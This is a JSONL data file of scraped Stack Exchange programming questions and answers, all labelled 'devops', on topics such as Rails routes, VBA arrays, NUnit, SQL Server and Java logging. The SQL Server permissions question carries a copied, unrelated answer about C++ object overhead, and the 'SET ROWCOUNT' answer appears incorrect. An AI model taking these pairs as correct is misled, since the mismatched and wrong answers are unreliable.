{"id": "hf_ae52e50e2224", "question": "<p>How can I go about making my routes recognise an optional prefix parameter as follows:</p>\n\n<pre><code>/*lang/controller/id\n</code></pre>\n\n<p>In that the lang part is optional, and has a default value if it's not specified in the URL:</p>\n\n<pre><code>/en/posts/1   =&gt; lang = en\n/fr/posts/1   =&gt; lang = fr\n/posts/1      =&gt; lang = en\n</code></pre>\n\n<p><em>EDIT</em></p>\n\n<p>Ideally, I'm looking to do this across many controllers and actions by mapping a namespace:</p>\n\n<pre><code>map.namespace \"*lang\" do |lang|\n  lang.resources :posts\n  lang.resources :stories\nend\n</code></pre>\n", "question_body": "", "answer": "I'm guessing (no time to test right now) that this might work:\n```\n```\nmap.connect ':language/posts/:id', :controller => 'posts', :action => 'show'\nmap.connect 'posts/:id', :controller => 'posts', :action => 'show'\n```\n```\nOK, tried it - it works, on Rails 2.1.1 at least. So that's good. Can't get the :defaults idea to work, though, which is a shame, because it's DRYer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.596969"}
{"id": "hf_f046e0a4df59", "question": "<p>As the title states, is there a way to prevent extra elements from showing up in VBA dynamic arrays when they are non-zero based? </p>\n\n<p>For example, when using code similar to the following:</p>\n\n<pre><code>While Cells(ndx, 1).Value &lt;&gt; vbNullString\n    ReDim Preserve data(1 To (UBound(data) + 1))\n    ndx = ndx + 1\nWend\n</code></pre>\n\n<p>You have an extra empty array element at the end of processing. While this can be eliminated with the following:</p>\n\n<pre><code>ReDim Preserve data(1 To (UBound(data) - 1))\n</code></pre>\n\n<p>This doesn't seem like the best way of resolving this problem. </p>\n\n<p>As such, is there a way to prevent that extra element from being created in the first place? Preferably something that doesn't require additional logic inside of the loop.</p>\n", "question_body": "", "answer": "Visual Basic arrays are zero-based. This can be changed with the\n```\nOption Base\n```\nstatement, though.\nWith your arrays, the extra elements are because you do a\n```\nUBound() + 1\n```\n, UBound will give you the correct number already. If the array has 5 Elements, UBound will be 5. But the last index will be 4, so ReDim to UBound will give you an array sized  +1.\nAs arrays are a pain to use anyway (in VBA, that is) and\n```\nReDim Preserve\n```\nacually is an array copy operation to a new fixed size array, I would recommend you to use Collections wherever you can. They are a lot easier to iterate (\n```\nFor Each ... In ...\n```\n) and much more efficient at adding, finding and removing elements.\n```\n```\n' creation ' \nDim anyValue as Variant\nDim c as New Collection\n\n' and adding values '\nc.Add anyValue, strKey\n\n' iteration '\nFor Each anyValue in c\n  Debug.Print anyValue\nNext c\n\n' count values '\nDebug.Print c.Count\n\n' element deletion '\nc.Delete strKey\n```\n```\n(You can use Scripting.Dictionary from VBScript for added comfort, but you need to reference that first.)\nYou can also have multiple dimensions of Collections by simply placing them inside each other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.631934"}
{"id": "hf_f193c4198d02", "question": "<p>I want to do something very simple in C++ but i can't find how.\nI want to create a function like a for loop where i will ideally enter a variable for the times the iteration should happen and some functions inside brackets my function will execute. I hope i was clear enough. Thanks...</p>\n\n<p>Example</p>\n\n<pre><code>superFor (1)\n{\n  //commands to be executed here  \n  add(1+2);\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nvoid DoSomethingRepeatedly(int numTimesTo Loop)\n{\n   for(int i=0; i<numTimesToLoop; i++)\n   { \n       //do whatever; \n   }\n}\n```\n```\nThat it ? That can't be.. too simple.. I must be misunderstanding your question :(\nOf course you'd have to check that the value of numTimesToLoop is >= 0.\nEdit: I made it a method, just in case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.656790"}
{"id": "hf_cef1afd55737", "question": "<p>I've worked with a couple of Visual C++ compilers (VC97, VC2005, VC2008) and I haven't really found a clearcut way of adding external libraries to my builds.  I come from a Java background, and in Java libraries are everything!  </p>\n\n<p>I understand from compiling open-source projects on my Linux box that all the source code for the library seems to need to be included, with the exception of those .so files.</p>\n\n<p>Also I've heard of the .lib static libraries and .dll dynamic libraries, but I'm still not entirely sure how to add them to a build and make them work.  How does one go about this?</p>\n", "question_body": "", "answer": "Ok.   typically you don't want to load dynamic libraries by hand, but if you do, look into LoadLibrary.\nyou then have to call other functions to get function pointer addresses and so forth.\nTypically how it works, is even .dll files have .lib files for them.. so when they are needed, they just automatically load.\nhow you specifiy .lib files /static libraries is under Properties/Linker/Input->Additional Dependencies. in the gui.\nif you are scripting this.. well. you just specifiy the .lib files on the command line at link time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.727623"}
{"id": "hf_e5c92bf08229", "question": "<p>I use an XML file in App_Data in conjunction with a Repeater on the main page of an intranet application allow me to display messages to users when they logon about application status, maintenance, etc.  To test the functionality, it would be nice to have the file in the App_Data folder under development, but if I do this it copies it over the file on the production server when I publish the application.  Is there anyway I can prevent this from happening short of going to a Web Deployment project (and will that solve my problem)?</p>\n", "question_body": "", "answer": "In Visual Studio 2005, I see a checkbox labeled \"Include files from the App_Data folder\", which defaults to checked. Have you tried publishing with that checkbox unchecked?\nEDIT:\nSeeing as how that checkbox isn't available for your project, I would look into using the\nVS2005 Web Deployment add-on\nfor visual studio. I haven't used it myself but the features to customize publishing between debug and release mode looks promising.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.752063"}
{"id": "hf_8972dd7ae2c1", "question": "<p>Is there a good way to have a <code>Map&lt;String, ?&gt;</code> get and put ignoring case?</p>\n", "question_body": "", "answer": "You need a wrapper class for your String key with a case-insensitive equals() and hashCode() implementation.  Use that instead of the String for the Map's key.\nSee an example implementation at\nhttp://www.java.happycodings.com/Java_Util_Package/code3.html\nI found it in 2 minutes of googling.  Looks sensible to me, though I've never used it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.851256"}
{"id": "hf_d8cd7b1c2dd1", "question": "<p>I’m having an issue where a drop down list in IE 6/7 is behaving as such:</p>\n\n<p><img src=\"https://i488.photobucket.com/albums/rr249/djfloetic/ie7.jpg\" alt=\"alt text\"></p>\n\n<p>You can see that the drop down <code>width</code> is not wide enough to display the whole text without expanding the overall drop down list.</p>\n\n<p>However in Firefox, there is no issue as it <code>expands the width</code> accordingly. This is the behaviour we want in IE 6/7:</p>\n\n<p><img src=\"https://i488.photobucket.com/albums/rr249/djfloetic/firefox.jpg\" alt=\"alt text\"></p>\n\n<p>We’ve looked at various ways to utilize the <code>onfocus, onblur, onchange, keyboard and mouse events</code> to attempt to solve the problem but still some issues.</p>\n\n<p>I was wondering if anyone has solved this issue in IE 6/7 without using any toolkits/frameworks (YUI, Ext-JS, jQuery, etc…).</p>\n", "question_body": "", "answer": "I would recommend making the select wider. Firefox is friendly about it and expands the width of the option so that you can see its value, but that doesn't solve the problem that once you've selected an option, you won't be able to see exactly what you selected as a user unless you make the select wider. So from a user-friendliness viewpoint, I would advise just allowing the browser to size the select based on its contents, or set a width that is wide enough for the value of the widest option's contents.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.899057"}
{"id": "hf_7221ac1d1ec5", "question": "<p>I'm trying to write some SQL that will delete files of type '.7z' that are older than 7 days.</p>\n<p>Here's what I've got that's not working:</p>\n<pre><code>DECLARE @DateString CHAR(8)\nSET @DateString = CONVERT(CHAR(8), DATEADD(d, -7, GETDATE()), 1)\nEXECUTE master.dbo.xp_delete_file 0, \n                  N'e:\\Database Backups',N'7z', @DateString, 1\n</code></pre>\n<p>I've also tried changing the '1' at the end to a '0'.</p>\n<p>This returns 'success', but the files aren't getting deleted.</p>\n<p>I'm using SQL Server 2005, Standard, w/SP2.</p>\n", "question_body": "", "answer": "Try changing the first parameter from 0 to 1.\nHere is a small\nsummary on\n```\nxp_delete_file\n```\nI just found. Sounds a bit like you'd be out of luck with this procedure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.933924"}
{"id": "hf_cc76c7d4a14a", "question": "<p>Should a method that implements an interface method be annotated with <code>@Override</code>?</p>\n\n<p>The <a href=\"http://java.sun.com/javase/6/docs/api/java/lang/Override.html\" rel=\"noreferrer\">javadoc of the <code>Override</code> annotation</a> says: </p>\n\n<blockquote>\n  <p>Indicates that a method declaration is intended to override a method declaration in a superclass. If a method is annotated with this annotation type but does not override a superclass method, compilers are required to generate an error message.</p>\n</blockquote>\n\n<p>I don't think that an interface is technically a superclass. Or is it?</p>\n\n<p><kbd><a href=\"https://stackoverflow.com/revisions/212614/5\">Question Elaboration</a></kbd></p>\n", "question_body": "", "answer": "You should use @Override whenever possible.  It prevents simple mistakes from being made.  Example:\n```\n```\nclass C {\n    @Override\n    public boolean equals(SomeClass obj){\n        // code ...\n    }\n}\n```\n```\nThis doesn't compile because it doesn't properly override\n```\npublic boolean equals(Object obj)\n```\n.\nThe same will go for methods that implement an interface (\n1.6 and above only\n) or override a Super class's method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.976062"}
{"id": "hf_51c9e0a6213c", "question": "<p>Does anyone know any good tutorial about using NAnt for native code build process instructions?</p>\n\n<hr>\n\n<p>Is there any other tool for build process automation that is better suitable with native code environment?</p>\n\n<hr>\n\n<p>We are developing a win32 mobile application and it will be available online for download as a CAB file. The CAB file should include the informations filled by user before the download so the application install process would write some user's information into the device registry.</p>\n", "question_body": "", "answer": "We tried a while ago to use NAnt to build a large VC++ (VS2005) project ... it didn't work.\nThe problem was there is no way of capturing the dependencies outside of Visual Studio.  Ie. which cpp files should be rebuilt when a given header file is modified.\nWe could create nant tasks that threw all the files at the compiler, and it would rebuild them all every time.\nIn the end we stuck with a NAnt task that invoked devenv to do the build.  This may have changed in VS2008, but I doubt it ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.998914"}
{"id": "hf_65747923b936", "question": "<p>Which log4j Version is bundled with latest OpenCms 7?</p>\n", "question_body": "", "answer": "OpenCms\n7.0.5\nincludes log4j\n1.2.14", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.022309"}
{"id": "hf_e00b5286efe3", "question": "<p>I have found an interesting issue in windows which allows me to cause the Windows clock (but not the hardware clocks) to run fast - as much as 8 seconds every minute. I am doing some background research to work out how Windows calculates and updates it's internal time (not how it syncs with an NTP servers). Any information anyone has or any documents you can point me to would be greatly appreciated!</p>\n\n<p>Also, if anyone knows how _ftime works please let me know.</p>\n", "question_body": "", "answer": "This MSDN article\ngives a very brief description of how the system time is handled: \"When the system first starts, it sets the system time to a value based on the real-time clock of the computer and then regularly updates the time.\" Another interesting function is\nGetSystemTimeAdjustment\n, which has this to say:\nA value of TRUE [for lpTimeAdjustmentDisabled] indicates that periodic time adjustment is disabled. At each clock interrupt, the system merely adds the interval between clock interrupts to the time-of-day clock. The system is free, however, to adjust its time-of-day clock using other techniques. Such other techniques may cause the time-of-day clock to noticeably jump when adjustments are made.\nFinally, in regard to _ftime, it appears to be implemented using\nGetSystemTimeAsFileTime\n. So it would wrap directly onto the same built-in time facilities as would be used everywhere else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.046431"}
{"id": "hf_96c5655dd1e7", "question": "<p>Within a stored procedure, another stored procedure is being called within a cursor. For every call, the SQL Management Studio results window is showing a result. The cursor loops over 100 times and at that point the results window gives up with an error. Is there a way I can stop the stored procedure within the cursor from outputting any results?</p>\n\n<pre><code>  WHILE @@FETCH_STATUS = 0\n  BEGIN\n    EXEC @RC = dbo.NoisyProc\n    SELECT @RValue2 = 1 WHERE @@ROWCOUNT = 0\n    FETCH NEXT FROM RCursor INTO @RValue1, @RValue2\n  END\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Place:\n```\n```\nSET ROWCOUNT OFF\n/* the internal SP */\nSET ROWCOUNT ON\n```\n```\nwrap that around the internal SP, or you could even do it around the SELECT statement from the originating query, that will prevent results from appearing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.070709"}
{"id": "hf_3949d3f6ea7d", "question": "<p>Does anyone know of a Jabber library for Lua?  I've found the 'Lua Messaging Library' for AIM, although I can't find a download for it, it appears to be abandoned.</p>\n\n<p>Something like that for Lua would be helpful.</p>\n\n<hr>\n\n<p>I'm sorry I didn't state this originally, I meant a 'pure Lua' library.</p>\n\n<p>I'm familiar with Verse, but don't have the option of building my own Lua distribution for this particular application.</p>\n", "question_body": "", "answer": "Verse\n.\nVerse is a Jabber/XMPP library for Lua. It is based on the C version of the strophe library.\nOne handy feature of verse is that only the core protocol is implemented by default. Extensions to the protocol (either XEPs, or custom-made protocols) can be 'described', and then used by any verse application. It is the developer's intention to include support for as many XEPs as possible with verse, any number of which can be optionally loaded by the application when initialising the library.\nKind Regards", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.094699"}
{"id": "hf_2d9246b6fe95", "question": "<p>I was recommeded a book called: </p>\n\n<p>Accelerated C++ Practical Programming by Example\nby Andrew Koenig and Barbara E. Moo \nAddison-Wesley, 2000 \nISBN 0-201-70353-X </p>\n\n<p>The basis of this book is that Object Oriented Programming is highly wasteful memory-wise, and that most source-code should not be written this way, rather that you should use all inline function calls and procedural programming.</p>\n\n<p>I mean I know most programming books have about the same shelf life as milk, but if your coding a client/server application (database, server and all) (not a device driver or a video game) is it really worth the hassle of having un-maintainable code just for a speed boost?</p>\n\n<p>Or is it worth it just to make the application run on a client's really old machine?  Or to be able to run more servers on a single box?</p>\n", "question_body": "", "answer": "Wow, no.\nModern C++ compilers are excellent.  Massive memory usage is more of a symptom of a poor design or large memory data set.  The overhead needed for C++ classes is minimal and really not a problem these days.\nObject oriented programming is a way to write components in such a way that they can logically group actions related to a single concept (ie, all actions for a 'car' or all actions for a 'cat').  That's not to say it can't be misused to write spaghetti objects, but as they say, you can write COBOL in any language.\nAs a further example, it's quite possible and accepted these days to write for embedded software platforms with C++ and objects.  The slight speed decrease and memory usage increase (if any) is repaid a thousand times over by increased maintainability and code usability.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.119217"}
{"id": "hf_4425e941d5d8", "question": "<p>I have a SQL Server 2000 database with around a couple of hundred tables. There are several SQL user accounts that can access this database but each one has different permissions granted on tables in the DB. </p>\n\n<p>How do I create a script to give me a report of the permissions granted to a particular user. i.e. to generate something like:</p>\n\n<pre><code>Table      SELECT   DELETE   UPDATE    INSERT    ALTER\n-----      ------   ------   ------    ------    -----\nInvoices   Yes      No       Yes       Yes       No\nOrders     Yes      Yes      Yes       Yes       No\nCustomers  Yes      No       Yes       Yes       No\n</code></pre>\n\n<p>and so on. It's Friday, my SQL-fu is low today and I have a million other things to do before getting finished here today and if someone had a handy script to do this already then I would be eternally grateful :)</p>\n", "question_body": "", "answer": "Wow, no.\nModern C++ compilers are excellent.  Massive memory usage is more of a symptom of a poor design or large memory data set.  The overhead needed for C++ classes is minimal and really not a problem these days.\nObject oriented programming is a way to write components in such a way that they can logically group actions related to a single concept (ie, all actions for a 'car' or all actions for a 'cat').  That's not to say it can't be misused to write spaghetti objects, but as they say, you can write COBOL in any language.\nAs a further example, it's quite possible and accepted these days to write for embedded software platforms with C++ and objects.  The slight speed decrease and memory usage increase (if any) is repaid a thousand times over by increased maintainability and code usability.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.144208"}
{"id": "hf_d607cdaed19e", "question": "<p>Every class that wants to use java.util.logging generally needs to declare a logger like this:</p>\n\n<pre><code>public class MyClass {\n    private static Logger _log = Logger.getLogger(MyClass.class.getName());\n}\n</code></pre>\n\n<p>How do you avoid this MyClass.class.getName() boilerplate code?</p>\n", "question_body": "", "answer": "You don't need getName() if you're using a 1.2+ version of log4j, getLogger() accepts a Class argument. But as for the rest, there isn't any way around it if you want each class to have a static log member with its own category.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.180364"}
{"id": "hf_fb8d637dd0c6", "question": "<p>Using subversion 1.5 I have branch B which was branched off of branch A. After doing work in both branches I go to merge changes from A into B (using <code>svn merge http://path/to/A</code> in the working directory of B) and get <code>svn: Target path does not exist</code>. What does this mean?</p>\n", "question_body": "", "answer": "It means that there was a change in a file in branch A which Subversion tried to merge into branch B, but the file does not exist in branch B, so it has nowhere to merge the change. For example:\nCreate branch B\nChange A/README\nDelete B/README\nMerge A -> B\nNow the change in README cannot be applied in branch B, because the file has been removed there.\nEDIT: This will result in a\ntree conflict\nin Subversion 1.6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.227790"}
{"id": "hf_78f13245e473", "question": "<p>The NUnit documentation doesn't tell me when to use a method with a <code>TestFixtureSetup</code> and when to do the setup in the constructor.</p>\n\n<pre><code>public class MyTest\n{\n    private MyClass myClass;\n\n    public MyTest()\n    {\n        myClass = new MyClass();\n    }\n\n    [TestFixtureSetUp]\n    public void Init()\n    {\n        myClass = new MyClass();\n    }\n}\n</code></pre>\n\n<p>Are there any good/bad practices about the <code>TestFixtureSetup</code> versus default constructor or isn't there any difference?</p>\n", "question_body": "", "answer": "Why would you need to use a constructor in your test classes?\nI use\n```\n[SetUp]\n```\nand\n```\n[TearDown]\n```\nmarked methods for code to be executed before and after each test, and similarly\n```\n[TestFixtureSetUp]\n```\nand\n```\n[TestFixtureTearDown]\n```\nmarked methods for code to be executed only once before and after all test in the fixture have been run.\nI guess you could probably substitute the\n```\n[TestFixtureSetUp]\n```\nfor a constructor (although I haven't tried), but this only seems to break from the clear convention that the marked methods provide.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.263664"}
{"id": "hf_fabd3e419522", "question": "<p>How do you automatically start a service after running an install from a Visual Studio Setup Project?</p>\n\n<p>I just figured this one out and thought I would share the answer for the general good.  Answer to follow.  I am open to other and better ways of doing this.</p>\n", "question_body": "", "answer": "Add the following class to your project.\n```\n```\nusing System.ServiceProcess;  \n\nclass ServInstaller : ServiceInstaller\n{\n    protected override void OnCommitted(System.Collections.IDictionary savedState)\n    {\n        ServiceController sc = new ServiceController(\"YourServiceNameGoesHere\");\n        sc.Start();\n    }\n}\n```\n```\nThe Setup Project will pick up the class and run your service after the installer finishes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.287393"}
{"id": "hf_ad80fed1061c", "question": "<p>I wrote a savefile method to save an object to xml. But I am not sure how to test the method in NUnit. Do I need create a sample file manually and compare the string between the files? Are there any better ways to test the method?</p>\n\n<p>Thanks for your answer.</p>\n", "question_body": "", "answer": "Here's what I do -- it works for me but it might not be to your specifications.\nIn the teardown I make sure I delete any files I might have created as part of the suite.  So yes, make sure the file is a scratch file just for testing\nIn the test method I delete the file if it exists (it shouldn't as the teardown has already taken care of it), then output the file to XML then assert the file exists.  I then reload the file either into an object graph or into the xml DOM and query the state through as many assertions as you need.\nIf you can get away with writing to files and your design allows you to write to a generic text writer or xml writer then you could bypass the file save and replace the calls with a string writer instead and just query a string.  Much cleaner but it doesn't test that the actual file persistence is working or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.324025"}
{"id": "hf_f74edc87337d", "question": "<p>It seems</p>\n\n<pre><code>import Queue\n\nQueue.Queue().get(timeout=10)\n</code></pre>\n\n<p>is keyboard interruptible (ctrl-c) whereas</p>\n\n<pre><code>import Queue\n\nQueue.Queue().get()\n</code></pre>\n\n<p>is not. I could always create a loop;</p>\n\n<pre><code>import Queue\nq = Queue()\n\nwhile True:\n    try:\n        q.get(timeout=1000)\n    except Queue.Empty:\n        pass\n</code></pre>\n\n<p>but this seems like a strange thing to do.</p>\n\n<p>So, is there a way of getting an indefinitely waiting but keyboard interruptible Queue.get()?</p>\n", "question_body": "", "answer": "```\nQueue\n```\nobjects have this behavior because they lock using\n```\nCondition\n```\nobjects form the\n```\nthreading\n```\nmodule.  So your solution is really the only way to go.\nHowever, if you really want a\n```\nQueue\n```\nmethod that does this, you can monkeypatch the\n```\nQueue\n```\nclass.  For example:\n```\n```\ndef interruptable_get(self):\n    while True:\n        try:\n            return self.get(timeout=1000)\n        except Queue.Empty:\n            pass\nQueue.interruptable_get = interruptable_get\n```\n```\nThis would let you say\n```\n```\nq.interruptable_get()\n```\n```\ninstead of\n```\n```\ninterruptable_get(q)\n```\n```\nalthough monkeypatching is generally discouraged by the Python community in cases such as these, since a regular function seems just as good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.387595"}
{"id": "hf_8fe5c7248aad", "question": "<p>What applications/modules/dlls do I need on the Window CE 5.0 device in order to be able to attach Visual Studio 2005 to process running on the device ?</p>\n", "question_body": "", "answer": "In the Debug menu, select Attach to process...\nIn the dialog that pops up change Transport to Smart Device.\nHit the Browse button and pick the type of device.\nIt'll pop up a connecting dialog, when it disappears, you get a list of processes on the device.\nPick the one you want to debug and the debugger will start up.\nThis should work on at least Standard VS2005, as long as you selected Smart device development during install (Express doesn't support smart devices).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.410978"}
{"id": "hf_867537327c2c", "question": "<pre><code>Object o = new Long[0]\nSystem.out.println( o.getClass().isArray() )\nSystem.out.println( o.getClass().getName() )\nClass ofArray = ???\n</code></pre>\n\n<p>Running the first 3 lines emits;</p>\n\n<pre><code>true\n[Ljava.lang.Long;\n</code></pre>\n\n<p>How do I get ??? to be type long?   I could parse the string and do a Class.forname(), but thats grotty.   What's the easy way?</p>\n", "question_body": "", "answer": "http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Class.html#getComponentType()\n:\n```\n```\npublic Class<?> getComponentType()\n```\n```\nReturns the\n```\nClass\n```\nrepresenting the component type of an array. If this class does not represent an array class this method returns null...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.434260"}
{"id": "hf_99ad9124b3b0", "question": "<p>I'm trying to find an efficient C++ interval tree implementation (mostly likely based on red black trees) without a viral or restrictive license. Any pointers to a clean lightweight standalone implementation? For the use case I have in mind, the set of intervals is known at the outset (there would be say a million) and I want to be able to quickly obtain a list of intervals that overlap a given interval. Thus the tree once built will not change -- just needs rapid queries.</p>\n", "question_body": "", "answer": "The C++ standard library offers red/black trees\n```\nstd::map\n```\n,\n```\nstd::multimap\n```\n,\n```\nstd::set\n```\nand\n```\nstd::multiset\n```\n.\nReally, I can't think of any way to handle this more efficiently than to keep a\n```\nstd::map\n```\nof iterator pairs, and passing those iterator pairs to\n```\nupper_bound()\n```\nand\n```\nlower_bound()\n```\n.  You'd want the iterator pairs to be kept in a map themselves so that you could easily zero in on which pairs are likely to be in the interval (if the beginning iterator in the \"candidate interval\" comes after the end of the given interval you're looking at, then you can skip checking that -- and all later -- iterator pairs).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.457184"}
{"id": "hf_b3fa434cec3b", "question": "<p>The test form generated by ASMX is pretty handy for testing operations.  However, there is no apparent way to include SOAP headers.</p>\n\n<p>How can you test your headers without programming a client to use the service?</p>\n", "question_body": "", "answer": "Instead of directly accessing the headers, provide an abstraction that your code accesses instead. For example, if you have a header called \"Customer\", you might provide a context class you can access like so:\nstring customer = MyContext.Current.Customer;\nNow, all you have to do is swap in a mock implementation in your test classes that doesn't require all the plumbing.\nNote, however, that testing ASMX outside of a web server isn't exactly ideal since it can miss things like serialization. If you could deploy to a test server and test the deployed copy, you would be better off. If you really care about testing, WCF is a better option since you can self host WCF rather easily in tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.503209"}
{"id": "hf_e5d4e192e718", "question": "<p>My current project uses NUnit for unit tests and to drive UATs written with Selenium.  Developers normally run tests using ReSharper's test runner in VS.Net 2003 and our build box kicks them off via NAnt.</p>\n\n<p>We would like to run the UAT tests in parallel so that we can take advantage of Selenium Grid/RCs so that they will be able to run much faster.</p>\n\n<p>Does anyone have any thoughts on how this might be achieved? and/or best practices for testing Selenium tests against multiple browsers environments without writing duplicate tests automatically?</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "There hasn't been a lot of work on this subject. I didn't find anything really relevent.\nHowever, your point is well taken. Most machines nowadays have more cores and less powerful cores compared to powerful one core cpu.\nSo I did find something on a Microsoft blog. The technology is called PUnit and is made especially for testing multi-threaded environment.\nIt's as close as possible to what you requested that I could find :)\nYou can visit it the appropriate blog post right there:\nhttp://blogs.microsoft.co.il/blogs/eyal/archive/2008/07/09/punit-parallel-unit-testing-in-making.aspx\nUpdate: Link is not valid anymore. The project on CodePlex has been removed.\nUpdate2: This is on the roadmap for NUnit 2.5.\nReference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.586673"}
